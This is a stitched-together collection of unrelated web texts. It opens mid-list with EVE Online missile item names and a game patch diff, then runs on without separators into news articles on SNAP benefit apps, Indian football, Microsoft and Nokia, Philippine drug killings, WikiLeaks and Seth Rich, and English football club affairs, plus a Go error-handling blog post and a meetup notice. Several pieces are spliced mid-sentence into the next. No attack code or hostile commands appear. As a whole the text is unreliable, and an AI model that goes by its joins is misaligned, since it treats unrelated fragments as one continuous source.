Torpedo" "Trauma Citadel Torpedo Blueprint" "Scourge Citadel Torpedo Blueprint" "Assault Missile Launcher I" "Heavy Assault Missile Launcher I" "Trauma Assault Missile" "Scourge Assault Missile" "Trauma Rage Rocket" "Scourge Rage Rocket" "Trauma Rage Rocket Blueprint" "Scourge Rage Rocket Blueprint" "Trauma Javelin Rocket" "Scourge Javelin Rocket" "Trauma Javelin Assault Missile" "Scourge Javelin Assault Missile" "Trauma Fury Light Missile" "Scourge Fury Light Missile" "Trauma Fury Light Missile Blueprint" "Scourge Fury Light Missile Blueprint" "Trauma Precision Light Missile" "Scourge Precision Light Missile" "Trauma Precision Light Missile Blueprint" "Scourge Precision Light Missile Blueprint" "Trauma Precision Heavy Missile" "Scourge Precision Heavy Missile" "Trauma Precision Heavy Missile Blueprint" "Scourge Precision Heavy Missile Blueprint" "Trauma Rage Torpedo" "Scourge Rage Torpedo" "Trauma Rage Torpedo Blueprint" "Scourge Rage Torpedo Blueprint" "Trauma Javelin Torpedo" "Scourge Javelin Torpedo" "Trauma Javelin Torpedo Blueprint" "Scourge Javelin Torpedo Blueprint" "Trauma Fury Cruise Missile" "Scourge Fury Cruise Missile" "Trauma Fury Cruise Missile Blueprint" "Scourge Fury Cruise Missile Blueprint" "Trauma Precision Cruise Missile" "Scourge Precision Cruise Missile" "Trauma Precision Cruise Missile Blueprint" "Scourge Precision Cruise Missile Blueprint" "Trauma Javelin Rocket Blueprint" "Scourge Javelin Rocket Blueprint" "Trauma Javelin Assault Missile Blueprint" "Scourge Javelin Assault Missile Blueprint" "Prototype 'Arbalest' Assault Missile Launcher I" "Prototype 'Arbalest' Heavy Assault Missile Launcher I" "Upgraded 'Malkuth' Assault Missile Launcher I" "Upgraded 'Malkuth' Heavy Assault Missile Launcher I" "Limited 'Limos' Assault Missile Launcher I" "Limited 'Limos' Heavy Assault Missile Launcher I" "Experimental XT-2800 Assault Missile Launcher I" "Experimental XT-2800 Heavy Assault Missile Launcher I" "Assault Missile Launcher II" "Heavy Assault Missile Launcher II" "Assault Missile Launcher II Blueprint" "Heavy Assault Missile Launcher II Blueprint" "Assault Missile Launcher I Blueprint" "Heavy Assault Missile Launcher I Blueprint" "Trauma Assault Missile Blueprint" "Scourge Assault Missile Blueprint" "Guristas Trauma Rocket" "Guristas Scourge Rocket" "Caldari Navy Trauma Rocket" "Caldari Navy Scourge Rocket" "Dread Guristas Trauma Rocket" "Dread Guristas Scourge Rocket" "Guristas Trauma Torpedo" "Guristas Scourge Torpedo" "Caldari Navy Trauma Torpedo" "Caldari Navy Scourge Torpedo" "Dread Guristas Trauma Torpedo" "Dread Guristas Scourge Torpedo" "Guristas Trauma Light Missile" "Guristas Scourge Light Missile" "Caldari Navy Trauma Light Missile" "Caldari Navy Scourge Light Missile" "Dread Guristas Trauma Light Missile" "Dread Guristas Scourge Light Missile" "Guristas Trauma Cruise Missile" "Guristas Scourge Cruise Missile" "Caldari Navy Trauma Cruise Missile" "Caldari Navy Scourge Cruise Missile" "Dread Guristas Trauma Cruise Missile" "Dread Guristas Scourge Cruise Missile" "Guristas Trauma Assault Missile" "Guristas Scourge Assault Missile" "Caldari Navy Trauma Assault Missile" "Caldari Navy Scourge Assault Missile" "Dread Guristas Trauma Assault Missile" "Dread Guristas Scourge Assault Missile" "Guristas Trauma Heavy Missile" "Guristas Scourge Heavy Missile" "Caldari Navy Trauma Heavy Missile" "Caldari Navy Scourge Heavy Missile" "Dread Guristas Trauma Heavy Missile" "Dread Guristas Scourge Heavy Missile" "Caldari Navy Trauma F.O.F. Cruise Missile I" "Caldari Navy Scourge F.O.F. Cruise Missile I" "Caldari Navy Trauma F.O.F. Heavy Missile I" "Caldari Navy Scourge F.O.F. Heavy Missile I" "Republic Fleet Assault Missile Launcher" "Republic Fleet Heavy Assault Missile Launcher" "Republic Fleet Assault Missile Launcher Blueprint" "Republic Fleet Heavy Assault Missile Launcher Blueprint" "Caldari Navy Assault Missile Launcher" "Caldari Navy Heavy Assault Missile Launcher" "Caldari Navy Assault Missile Launcher Blueprint" "Caldari Navy Heavy Assault Missile Launcher Blueprint" "Domination Assault Missile Launcher" "Domination Heavy Assault Missile Launcher" "Domination Assault Missile Launcher Blueprint" "Domination Heavy Assault Missile Launcher Blueprint" "Dread Guristas Assault Missile Launcher" "Dread Guristas Heavy Assault Missile Launcher" "Dread Guristas Assault Missile Launcher Blueprint" "Dread Guristas Heavy Assault Missile Launcher Blueprint" "True Sansha Assault Missile Launcher" "True Sansha Heavy Assault Missile Launcher" "True Sansha Assault Missile Launcher Blueprint" "True Sansha Heavy Assault Missile Launcher Blueprint" "Khanid Navy Assault Missile Launcher" "Khanid Navy Heavy Assault Missile Launcher" "Khanid Navy Assault Missile Launcher Blueprint" "Khanid Navy Heavy Assault Missile Launcher Blueprint" "Guristas Trauma Citadel Torpedo" "Guristas Scourge Citadel Torpedo" "Trauma Citadel Cruise Missile" "Scourge Citadel Cruise Missile" "Trauma Citadel Cruise Missile Blueprint" "Scourge Citadel Cruise Missile Blueprint" "Civilian Trauma Light Missile" "Civilian Scourge Light Missile"
RAW Paste Data
[+] - new item [-] - removed item [*] - changed item (x => y) - group changes [+] - effect or attribute has been added to item [-] - effect or attribute has been removed from item [y] - effect is implemented [n] - effect is not implemented Items: [*] Dual Giga Modal Laser I [-|y] overloadSelfDamageBonus [+|y] overloadRofBonus [-] overloadDamageModifier: 0 [*] Dual Modal Giga Pulse Laser I [-|y] overloadRofBonus [+|y] overloadSelfDamageBonus [*] Crippler Drone [+] entityKillBounty: 195000.0 [*] Defeater Drone [+] entityKillBounty: 185000.0 [*] Enforcer Drone [+] entityKillBounty: 175000.0 [*] Exterminator Drone [+] entityKillBounty: 225000.0 [*] Siege Drone [+] entityKillBounty: 215000.0 [*] Striker Drone [+] entityKillBounty: 205000.0 [*] Domination Drone [+] entityKillBounty: 950000.0 [*] Drone Controller [+] entityKillBounty: 500000.0 [*] Drone Creator [+] entityKillBounty: 1400000.0 [*] Drone Queen [+] entityKillBounty: 1850000.0 [*] Drone Ruler [+] entityKillBounty: 1250000.0 [*] Matriarch Drone [+] entityKillBounty: 1700000.0 [*] Patriarch Drone [+] entityKillBounty: 1550000.0 [*] Spearhead Drone [+] entityKillBounty: 800000.0 [*] Supreme Drone Parasite [+] entityKillBounty: 1100000.0 [*] Swarm Preserver Drone [+] entityKillBounty: 650000.0 [*] Annihilator Drone [+] entityKillBounty: 65000.0 [*] Atomizer Drone [+] entityKillBounty: 110000.0 [*] Bomber Drone [+] entityKillBounty: 102500.0 [*] Destructor Drone [+] entityKillBounty: 57500.0 [*] Devastator Drone [+] entityKillBounty: 72500.0 [*] Disintegrator Drone [+] entityKillBounty: 95000.0 [*] Nuker Drone [+] entityKillBounty: 117500.0 [*] Strain Annihilator Drone [+] entityKillBounty: 270000.0 [*] Strain Atomizer Drone [+] entityKillBounty: 360000.0 [*] Strain Bomber Drone [+] entityKillBounty: 345000.0 [*] Strain Destructor Drone [+] entityKillBounty: 255000.0 [*] Strain Devastator Drone [+] entityKillBounty: 285000.0 [*] Strain Disintegrator Drone [+] entityKillBounty: 330000.0 [*] Strain Nuker Drone [+] entityKillBounty: 375000.0 [*] Strain Violator Drone [+] entityKillBounty: 315000.0 [*] Strain Viral Infector Drone [+] entityKillBounty: 300000.0 [*] Strain Wrecker Drone [+] entityKillBounty: 240000.0 [*] Violator Drone [+] entityKillBounty: 87500.0 [*] Viral Infector Drone [+] entityKillBounty: 80000.0 [*] Wrecker Drone [+] entityKillBounty: 50000.0 [*] Dismantler Drone [+] entityKillBounty: 22500.0 [*] Marauder Drone [+] entityKillBounty: 21000.0 [*] Predator Drone [+] entityKillBounty: 19500.0 [*] Ripper Drone [+] entityKillBounty: 16500.0 [*] Shatter Drone [+] entityKillBounty: 15000.0 [*] Shredder Drone [+] entityKillBounty: 18000.0 [*] Barracuda Drone [+] entityKillBounty: 13000.0 [*] Decimator Drone [+] entityKillBounty: 7000.0 [*] Devilfish Drone [+] entityKillBounty: 12000.0 [*] Hunter Drone [+] entityKillBounty: 10000.0 [*] Infester Drone [+] entityKillBounty: 4000.0 [*] Raider Drone [+] entityKillBounty: 9000.0 [*] Render Drone [+] entityKillBounty: 6000.0 [*] Silverfish Drone [+] entityKillBounty: 11000.0 [*] Splinter Drone [+] entityKillBounty: 5000.0 [*] Strain Barracude Drone [+] entityKillBounty: 37500.0 [*] Strain Decimator Drone [+] entityKillBounty: 28500.0 [*] Strain Devilfish Drone [+] entityKillBounty: 36000.0 [*] Strain Hunter Drone [+] entityKillBounty: 33000.0 [*] Strain Infester Drone [+] entityKillBounty: 24000.0 [*] Strain Raider Drone [+] entityKillBounty: 31500.0 [*] Strain Render Drone [+] entityKillBounty: 27000.0 [*] Strain Silverfish Drone [+] entityKillBounty: 34500.0 [*] Strain Splinter Drone [+] entityKillBounty: 25500.0 [*] Strain Sunder Drone [+] entityKillBounty: 30000.0 [*] Sunder Drone [+] entityKillBounty: 8000.0 [*] Crippler Alvatis [+] entityKillBounty: 138750.0 [*] Defeater Alvatis [+] entityKillBounty: 135000.0 [*] Enforcer Alvatis [+] entityKillBounty: 131250.0 [*] Exterminator Alvatis [+] entityKillBounty: 153750.0 [*] Siege Alvatis [+] entityKillBounty: 146250.0 [*] Striker Alvatis [+] entityKillBounty: 142500.0 [*] Alvus Controller [+] entityKillBounty: 375000.0 [*] Alvus Creator [+] entityKillBounty: 881250.0 [*] Alvus Queen [+] entityKillBounty: 1218750.0 [*] Alvus Ruler [+] entityKillBounty: 768750.0 [*] Domination Alvus [+] entityKillBounty: 543750.0 [*] Matriarch Alvus [+] entityKillBounty: 1162500.0 [*] Patriarch Alvus [+] entityKillBounty: 993750.0 [*] Spearhead Alvus [+] entityKillBounty: 487500.0 [*] Supreme Alvus Parasite [+] entityKillBounty: 712500.0 [*] Swarm Preserver Alvus [+] entityKillBounty: 431250.0 [*] Annihilator Alvum [+] entityKillBounty: 45938.0 [*] Atomizer Alvum [+] entityKillBounty: 76875.0 [*] Bomber Alvum [+] entityKillBounty: 74063.0 [*] Destructor Alvum [+] entityKillBounty: 43125.0 [*] Devastator Alvum [+] entityKillBounty: 51563.0 [*] Disintegrator Alvum [+] entityKillBounty: 68438.0 [*] Nuker Alvum [+] entityKillBounty: 79688.0 [*] Strain Annihilator Alvum [+] entityKillBounty: 202500.0 [*] Strain Atomizer Alvum [+] entityKillBounty: 270000.0 [*] Strain Bomber Alvum [+] entityKillBounty: 258750.0 [*] Strain Devastator Alvum [+] entityKillBounty: 213750.0 [*] Strain Disintegrator Alvum [+] entityKillBounty: 247500.0 [*] Strain Nuker Alvum [+] entityKillBounty: 281250.0 [*] Strain Violator Alvum |
growth—and in April, Propel announced $4 million in seed funding from big names like Andreessen Horowitz. Yet Propel is just one of several companies stepping in to up-level the technology for public sector services. Some states, such as Texas and New York, have managed to roll out new websites and apps that help welfare recipients manage their benefits. But not all of their peers have innovated as quickly. At the state level, where most social services (including SNAP) are implemented, there isn’t enough money and technical know-how to keep digital communications up to date. Though organizations like the US Digital Service and 18F pioneered building technical infrastructure at the federal level, thanks to the hiring freezes, budget cuts, and high profile exits that have occurred during the Trump administration, they face an uncertain future.
This innovation is shifting to the private and nonprofit sectors, where companies are using both classic venture capital models and more traditional forms of state contracting to significantly improve civic technology. Code for America, a nonprofit founded in 2009 to connect developers and designers with local and state governments, had previously tackled community problems like building an app to identify the fire hydrants that needed shoveling after snowstorms. But its leaders turned their attention to the SNAP program after finding it in need of a revamp. California has one of the lowest SNAP enrollment numbers in the country (in 2014 nearly half of eligible residents weren’t receiving benefits); through one of the organization’s fellowships, Code for America developers started working on a mobile web application in 2013.
The early problems weren’t just technical. For example, to get more people to apply, they cut the 200-question application to a simple 10-minute questionnaire. “At a high level, a lot of people in government are constantly looking at how to do things better,” says Dave Guarino, senior software engineer at Code for America. “What we bring is a way to test things on a smaller scale, rather than just plan, plan, plan, and try to take a year to come up with a perfect solution.”
Working closely with local community organizations and actual clients using the app allowed the team to find other barriers quickly. Program administrators send out text reminders, in lieu of the paper mail that’s often ignored, when it’s time to send in renewal materials. An in-house bilingual team at Code for America also answers client questions via SMS.
The tech behind the new crop of food stamp apps may be simple, but the user testing was not. Code for America developers also had to deal with local government bureaucracies often laden with outdated or unnecessary barriers. For instance, Code for America employees convinced one county director to eliminate an additional form they hadn’t seen any other county use. The director didn’t even know the practice was still in place.“When you’re working with many different layers of government, you can often end up with friction,” says SaraT Mayer, Chief Program Officer at Code for America.
Propel founder Jimmy Chen, who cut his teeth as a product manager at Facebook before joining the social-impact incubator Blue Ridge Labs, initially set out to change the enrollment process. But when canvassing Philadelphia grocery stores, his team found that many of its potential clients—around 80 percent, Chen says —were already signed up for benefits. Like Graybill, the problem was in using the program: They didn’t have a way to check their balance without a lengthy call process. So the company pivoted to its current form: apps that functions like mobile-banking for EBT benefits.
Lyndon Jackson founded Panacea Financial, a smartphone app, with the same purpose—giving EBT users a way to monitor their benefits on their phones—but his motivations are much more personal. Both he and his lead developer grew up on food stamps, so his initial product testing involved family and friends. “When I was talking to some of these people, it was very exciting because basically they had been ignored,” says Jackson. After receiving $25,000 in seed money from a Chicago pitch competition, the company is still testing. But Jackson is optimistic about its ability to grow quickly, citing relationships with other local civic ventures like MRelief, an app that connects users with community services via SMS.
Propel’s founder hopes to make money by selling advertising on the app to grocery stores. FreshEBT already boasts coupon and rewards partnerships with several major chains. In contrast, Code for America now supports its CalFresh work with a combination of government funding and philanthropic dollars. It recently signed a two-year contract with the California state government for $3.6 million to continue work on the program. Given the instability of both government funding and early startups, it’s hard to say if either model is more tenable than the other.
The FreshEBT has also had a significant impact on its users. In a study with Duke University, Propel found that average SNAP recipients spent more than 80 percent of their SNAP benefits within the first nine days, completely exhausting the sum by day 21. But when given an in-app tool that showed them a weekly budget instead of the entire balance, users stretched their monthly balance by two days—about six meals a month.
Mobile presents a big opportunity to innovate for low-income users. According to the Pew Research Center, 10 percent of Americans are “smartphone dependent,” meaning they have no other form of internet access at home. Americans making less than $30,000 are 13 times more likely to be smartphone-dependent than those making more than $75,000 a year. CalFresh developers found that one third to about one half of searches for the application came from mobile phones, a platform on which the old site was unusable.
“One of the things we noticed is that the food stamp office is full of hundreds of people waiting in line and a majority of them have a smartphone in their hand,” says Chen. “Social services had in some ways lagged behind what technology could do.”
Correction: This article originally stated that Panacea Financial received $5,000 from a Chicago pitch competition. The company in fact received $25,000. This article also originally misspelled SaraT Mayer’s name; we regret the error.Three officials from I-League clubs in the Northeast met officials from the Asian Football Confederation and from Fifa to lay out their vision for the future of Indian football.
Representatives of Aizawl FC, Shillong Lajong and Neroca met the AFC and FIFA delegation in Guwahati and called for an extended top league, one with ISL and I-League teams and for the season to be longer.
An official, who was present at the meeting, said, “The teams had met earlier and had discussed the agenda beforehand. They called for the ISL teams to be included too in the top tier and told the officials a league, starting in March, and having 18 teams is ideal.”
The contingent from the North-east also called for a proper structure or pyramid system, with the second tier to include 18 teams as well. This was done to encourage participation in the second tier, from among the champions of local state-level football leagues.
“We tried to impress on AIFF officials (who were also present there), the need to run a league in every state. This will ensure that no talent is lost out at the local level,” stated the official.
This was especially done keeping in mind states like Nagaland and Arunachal Pradesh which possess a deep talent pool, and which has so far been untapped. Concerns were raised about this as the number of players coming from Nagaland have dwindled over the years. The greatest player to have ever come out of the Northeastern region, Talimeren Ao, was from Nagaland.
As of now, the champions of the state league do not automatically qualify for the second division. Sunando Dhar, I-League CEO, had previously clarified, “We usually invite bids from the top two-three teams in each state by sending out letters to each state association. Then we evaluate the clubs based on several parameters.”
The clubs also discussed licensing criteria and franchise fees. According to the official, the teams were against paying additional entry amounts as they felt they deserved a shot at the top tier as they had each come up by winning the second division and in Aizawl’s case, also won the I-League last season.
The club licensing criteria discussed was related to the Asian Football Confederation’s, who asked the AIFF’s parent body to standardise the criteria across all clubs in the I-League and the ISL. Aizawl, who have qualified for the AFC Champions League, expect to be compliant with regulations by the time they play their first match in the competition.The common contract for functions which return a value of the interface type error, is the caller should not presume anything about the state of the other values returned from that call without first checking the error.
In the majority of cases, error values returned from functions should be opaque to the caller. That is to say, a test that error is nil indicates if the call succeeded or failed, and that’s all there is to it.
A small number of cases, generally revolving around interactions with the world outside your process, like network activity, require that the caller investigate the nature of the error to decide if it is reasonable to retry the operation.
A common request for package authors is to return errors of a known public type, so the caller can type assert and inspect them. I believe this practice leads to a number of undesirable outcomes:
Public error types increase the surface area of the package’s API.
New implementations must only return types specified in the interface’s declaration, even if they are a poor fit.
The error type cannot be changed or deprecated after introduction without breaking compatibility, making for a brittle API.
Callers should feel no more comfortable asserting an error is a particular type than they would be asserting the string returned from Error() matches a particular pattern.
Instead I present a suggestion that permits package authors and consumers to communicate about their intention, without having to overly couple their implementation to the caller.
Assert errors for behaviour, not type
Don’t assert an error value is a specific type, but rather assert that the value implements a particular behaviour.
This suggestion fits the has a nature of Go’s implicit interfaces, rather than the is a [subtype of] nature of inheritance based languages. Consider this example:
func isTimeout(err error) bool { type timeout interface { Timeout() bool } te, ok := err.(timeout) return ok && te.Timeout() }
The caller can use isTimeout() to determine if the error is related to a timeout, via its implementation of the timeout interface, and then confirm if the error was timeout related — all without knowing anything about the type, or the original source of the error value.
Gift wrapping errors, usually by libraries that annotate the error path, is enabled by this method; providing that the wrapped error types also implement the interfaces of the error they wrap.
This may seem like an insoluble problem, but in practice there are relatively few interface methods that are in common use, so Timeout() bool and Temporary() bool would cover a large set of the use cases.
In conclusion
Don’t assert errors for type, assert for behaviour.
For package authors, if your package generates errors of a temporary nature, ensure you return error types that implement the respective interface methods. If you wrap error values on the way out, ensure that your wrappers respect the interface(s) that the underlying error value implemented.This is a list of notable libertarians in the United States. It includes people who have identified themselves as members of the Libertarian Party or as libertarian in their political or social philosophy.
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Steve Dasbach, chair of the Libertarian Party and candidate for office in Indiana[54]
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Libertarianism portal
Politics portalMicrosoft has been a hardware company for a long time. With the release of the first Microsoft Mouse in 1983, the company that began with a version of BASIC written for what’s considered the first personal computer has had a successful side business selling hardware.
But now, Microsoft is no longer a dabbler. Early this morning, the company closed on its approximately $7.5 billion acquisition of Nokia’s hardware operations. Although Nokia is not the monster it once was – particularly in the smartphone arena – it remains the No. 2 seller of mobile phones in the world, behind Samsung. But the vast majority of those are not smartphones.
As Tom Warren at The Verge points out, Nokia sold 251 million mobile phones last year, only a small portion of which were running Microsoft’s Windows Phone operating system.
In fact, Microsoft is now in the business of selling Android phones. Nokia has a line of smartphones called Nokia X, a fascinating hybrid with a Windows-like interface running atop a forked version of Android. As Warren writes, there are already clues as to how Microsoft will deal with this:
Nokia’s Android handsets are the most intriguing part of the deal, as they shed some light on how Microsoft might approach the messy and complex nature of shipping devices that don’t run the company’s Windows software. The Nokia X introduces a new “forked” version of Android that’s akin to what Amazon does with its Kindle Fire line, but it also includes a Windows Phone-like UI and an Android store that’s separate to Google Play. Microsoft has the chance to control another app store, but also a solid opportunity to push its own cloud-based services. OneDrive, Outlook, and Skype are all preinstalled on Nokia X handsets, and Bing is the default search engine. Microsoft CEO Satya Nadella is taking a “cloud first, mobile first” approach, and the Nokia X or Office on iPad are good examples of how Microsoft can leverage platforms outside of Windows to push and sell services. “The feature phone product family coming to Microsoft will start to have more of the Microsoft services shipped on those phones right out of the gate.” admits Microsoft’s Tom Gibbons, the corporate vice president who is responsible for the Nokia integration.
New Microsoft CEO Satya Nadella has indicated a greater willingness to work with platforms other than Windows. That gives the company a chance to extend its software-and-services reach. In the past, Microsoft might have just killed off the Android piece of an acquisition such as this, but that’s not a given now. I suspect Microsoft sees this as an opportunity, rather than an annoyance. And it will be a good test of whether the company has recovered from its descent out of relevancy.CEBU CITY—Unknown assailants had gunned down at least 65 suspected peddlers of illegal drugs over nearly two months since July 1 in Central Visayas, but police had not solved a single case or identified any single perpetrator.
“Investigations conducted by the local chiefs of police are still ongoing,” Chief Supt. Noli Taliño, police regional director, said on Monday.
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Except for murder and homicide, the police regional office reported a decrease in almost all crimes in Cebu, Bohol and Siquijor, which its officials attributed to the Duterte administration’s relentless campaign against illegal drugs.
Total crime volume in the three provinces from January to July went down to 29,302, or by 6.9 percent, from last year’s 31,482. These involved cases of robbery, theft, rape, physical injuries and gambling.
In July, a month after President Duterte assumed his post, the figure drastically dropped to 4,264, or 447 lower (9.5 percent) than that of July 2015.
Taliño said he expected murder cases to go up in the next months due to the killings of drug suspects.
From July 1 to Aug. 21, 69 suspected drug pushers were killed in police operations in Central Visayas—31 in Cebu province, 14 in Cebu City, 11 in Bohol, eight in Mandaue City, and 5 in Lapu-Lapu City.
Cebu City had the biggest number of drug suspects killed by unknown assailants with 29, followed by Cebu province with 15, Bohol with 8, Lapu-Lapu with 7 and Mandaue with 6.
The police said it welcomed efforts by the Commission on Human Rights in Central Visayas to look into all cases of alleged extrajudicial killings in the region.
From July 1 to Aug. 22, police mounted 751 operations against illegal drugs, resulting in the arrest of 1,130 people, and the filing of 1,295 cases in court. A total of 2,272 grams of shabu (methamphetamine hydrochloride) with a street value of P26.5 million were confiscated.
Since the Philippine National Police implemented “Oplan Tokhang,” in which policemen knock on the houses of suspected drug peddlers and users, and persuade them to mend their ways, 66,018 users and 5,105 pushers had showed up at the police stations in the region. The numbers were higher than the more than 8,000 on the watch list of the police regional office.
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“I’m surprised with the turnout of [people who surrendered]. But that just means, people know who and what they are. They know themselves better than the police do,” Taliño said.
Preparations are ongoing for another round of Oplan Tokhang. This time, drug users and pushers who live in condominiums and subdivisions will be targeted.
“No one is exempted in our campaign against illegal drugs. We don’t target just one sector but all,” Taliño said.
He said his office had received a total of P1.1 million in donations in support of its campaign. He withheld the identities of the donors for security purposes.
The official said he would give P10,000 to a policeman or unit which could “neutralize” personalities in the illegal drug trade.
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MOST READMost developers have a good understanding of solid enterprise patterns but there is a constant battle between coding the ‘right’ way and having the time to meet their deadlines. As a result we often write code that needs to be refactored or becomes ‘legacy’ the minute it hits release. Do this over and over again and it is easy to understand why enterprises are not getting the biggest bang of out their development dollar.
This meetup given by John Caccavaro, Chief Architect at High Street Partners, will explain how layering your applications properly and using.NET’s Domain Specific Languages capabilities can make your design, coding and testing orders of magnitude more efficient, less error-prone and more fun. Once you ‘get it’, you will never turn back!
This is event will follow the same Boston Tech setup as last month's.
6pm-6:30pm:
Networking/pizza and beer
For those interested we will be discussing career opportunities, providing resume tips/advice and discussing the current state of the technology hiring market in Boston. #BostonTech's host's Jobspring Partners (http://www.jobspringpartners.com/Results.aspx?LOC=Boston&CAT=&KEY=&utm_source=meetup&utm_medium=link&utm_campaign=BostonTech) and Workbridge Associates (http://www.workbridgeassociates.com/Results.aspx?LOC=Boston&CAT=&KEY=&utm_source=meetup&utm_medium=link&utm_campaign=BostonTech) will be standing by to assist on the aforementioned topics and provide counseling and advice on other technology related topics. Don't forget your business cards and resumes!
6:30pm-7:15pm:
John's presentation on.NET
Our scheduled events wrap up at 7:15pm but anyone is more than welcome to stay, mingle, have a few drinks and discuss technology with us!WikiLeaks is fueling conspiracy theories about the recent death of a Democratic National Committee staffer.
Seth Rich was shot and killed near his home in northwest Washington, D.C., on July 10, less than two weeks before 19,000 emails from Democratic party officials appeared on WikiLeaks. The 27-year-old Nebraska native had been working for the DNC after previously helping with Democrats' campaigns, and the timing of his death raised questions with supporters of the site known for publishing worldwide political and business secrets.
According to NBC Washington, police told Rich's mother that he may have been the victim of an attempted robbery, but nothing was stolen. The Daily Mail reports he still had his watch, cell phone and wallet on him.
"There had been a struggle. His hands were bruised, his knees are bruised, his face is bruised, and yet he had two shots to his back, and yet they never took anything," she told NBC. "They took his life for literally no reason."
The leaked emails were published before Hillary Clinton's nomination at the Democratic National Convention; Debbie Wasserman Schultz stepped down as chairwoman after emails suggested the DNC favored Clinton over her primary rival Bernie Sanders. Russian hackers reportedly breached DNC security earlier that month, but WikiLeaks founder Julian Assange hinted Rich may have been involved.
"Whistleblowers go to significant efforts to get us material and often very significant risks as a 27-year-old, works for the DNC who was shot in the back - murdered - just a few weeks ago for unknown reasons as he was walking down the street in Washington," Assange told a Dutch television station Tuesday.
The interviewer asked Assange if Rich was a contributor, but Assange refused to confirm or deny it: "We don't comment on who our sources are."
Assange then stirred further speculation of a connection by offering a $20,000 reward for information leading to a conviction for the murder of Rich. Police have also offered a $25,000 reward, customary in all D.C. homicides.
Rich's father, Joel, told the Washington Post that the additional reward seemed to legitimize rumors but declined to comment further.
"I hope the additional money helps find out who did this," he said. "I don't want to play WikiLeaks' game."
Assistant D.C. Police Chief Peter Newsham told the newspaper that they didn't have any information to suggest a connection between Rich's death and the leaked emails. No suspects or motives have been named, but police previously said the neighborhood had recently seen a spike in robberies.
Clinton addressed Rich's death in July as an issue of gun violence.
"Just this past Sunday, a young man, Seth Rich -- who worked for the Democratic National Committee, to expand voting rights -- was shot and killed in his neighborhood in Washington. He was just 27 years old," she said at an event in New Hampshire last month. "Surely we can agree that weapons of war have no place on the streets of America."Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Tim Sherwood has to win one of his next two matches for Aston Villa - or he will be sacked.
That’s the message which has been handed down to the club’s boss after Villa’s awful start to the new Premier League campaign.
Sherwood is up against it just seven months after taking charge at Villa Park and needs to turn the situation around quickly - or he’ll pay by losing his job - with Brendan Rodgers high on the list of possible replacements.
Villa owner Randy Lerner is becoming increasingly jumpy at the prospect of losing out on the new television money and so the former Spurs’ boss will not be cut the same slack as his predecessor, Paul Lambert.
The Birmingham club has won just once in the league this season - beating Bournemouth thanks to Rudy Gestede’s header on the opening day.
In pictures: Aston Villa 0-1 Stoke
But since then they have failed to beat a string of clubs who are likely to be in and around them in the bottom half of the table.
And that has caused the hierarchy to look at the situation ahead of fixtures against Chelsea and Swansea City.
Villa travel to Stamford Bridge next week. With Jose Mourinho too having his back against the wall, victory for either club could mark the beginning of the end for the losing boss.
Sherwood will receive another chance. But if Villa fail in front of their own fans against the Swans, the manager will be out of the door.
The former European Cup winners boast a chief executive in Tom Fox who is also new to the job and he will not want to be seen overseeing relegation during his first full season at the club.
(Image: Neville Williams)
Sherwood initially covered himself in glory at the club, arresting an alarming slide and preventing the Midlanders from falling into the Championship following Lambert’s shambolic three-year reign.
He even had the chance to write himself into club folklore with an appearance in the FA Cup final against Arsenal.
However, that date ended in a thumping four-goal victory for the Gunners and the sales of striker Christian Benteke to Liverpool and midfielder Fabian Delph to Manchester City have prompted a huge turnover of players.
Villa have spent £54.5m during the close season importing fresh talent - mainly from France - but this has so far failed to pay off.
(Image: Action Images via Reuters / Andrew Boyers)
Sherwood himself is coming under increasing fire from his supporters for his tactics - a fact highlighted when Villa tossed away a two-goal lead following his substitutions at Leicester City.
Moreover, there are also a number of high-profile bosses who are out of work.
Villa will have a decent choice but much will depend on the recommendations of director of recruitment, Paddy Reilly.
And the former analyst, who was first surfaced at Villa during Martin O’Neill’s reign, will place great store in Rodgers who he worked for during a spell on Merseyside.A state-backed Chinese group is plotting to buy a stake in Liverpool Football Club in a deal valuing the Premier League outfit at more than £700m – even as its American owners insist they have no intention of relinquishing control.
Sky News has learnt that China Everbright, a financial services conglomerate, parts of which are listed on the Hong Kong and Shanghai stock exchanges, is working with PCP Capital Partners, an investment and advisory firm, on plans to acquire a substantial shareholding in Liverpool alongside Fenway Sports Group (FSG).
Insiders said on Saturday that their proposals were not yet finalised but added that the consortium could also include investment from other Chinese state-owned parties.
Silk Road Finance Corp, an investment firm whose directors include John Thornton, a former Goldman Sachs and HSBC director, is also thought to be involved in the consortium's discussions.
Sources said that any investment was likely to be structured as a joint venture or partnership rather than an outright takeover.
If completed, a deal would represent one of the most significant investments to date by a Chinese company in one of English football's biggest names.
An agreement of any kind remains far from certain, though, not least because of the Americans' repeated public insistence that Liverpool is not for sale.
A preliminary offer is already understood to have been tabled by the Everbright consortium, according to one insider, with them pitching potential commercial opportunities for Liverpool in China.
Fenway Sports Group (FSG), the vehicle which acquired control of Liverpool in 2010 in a deal which sparked a bitter legal battle with its former owners, owns a number of other prominent sports properties, including the Boston Red Sox baseball team.
FSG has dismissed speculation that it is interested in an outright sale of Liverpool but has signalled that it is open to selling a minority stake.
Speaking to the Liverpool Echo this week, Tom Werner, the club's chairman, was quoted as saying: "We've said in the past, under the right conditions and absolutely with the right partner, we could look at some small investment stake in the club but only in the framework of doing what would be in the club's long-term best interests."
A source close to FSG said Liverpool's current owners had nevertheless engaged advisers to guide them on any serious discussions about a joint venture or partnership which involved the sale of an equity stake.
Mr Werner added: "I'd say that from time to time somebody says they have made an offer to buy us but they are really saying that just for publicity.
"People throw offers to us which we don't think are real.
"We haven't had a discussion or a negotiation with anyone because this club is not for sale."
Last month, The Sunday Times reported that Liu Yiqian, a wealthy Chinese businessman, made an unsolicited offer to buy Liverpool but was rebuffed on the basis that his offer undervalued the club.
Liverpool began the new Premier League season by beating Arsenal, but lost 2-0 away at Burnley on Saturday afternoon.
A flood of Far Eastern cash has been drawn to English football in recent months, with Aston Villa, West Bromwich Albion and Wolverhampton Wanderers all securing takeovers by Chinese buyers.
China Media Capital, an investment firm, bought a minority stake in Manchester City last year in a deal announced weeks after the Chinese Premier, Xi Jinping, visited the club during a state visit to Britain.
Theresa May, the new Prime Minister, has implied that she is sceptical about Chinese investment by delaying a final decision on the Hinkley Point C nuclear power station in Somerset, although it is unlikely that the Government would object to foreign ownership of a Premier League club.
A spokesman for PCP declined to comment, while Everbright could not be reached for comment.An American journalist was killed Saturday in the country of South Sudan during fighting between rebel and government forces, according to multiple news reports.
Reuters reported Saturday that Christopher Allen, 26, was killed Saturday along with 18 others during fighting between government troops and rebels in Yei River state. Both sides claimed that fighting was initiated by the other side, and neither side took credit for killing Allen, who was wearing a jacket marked "PRESS."
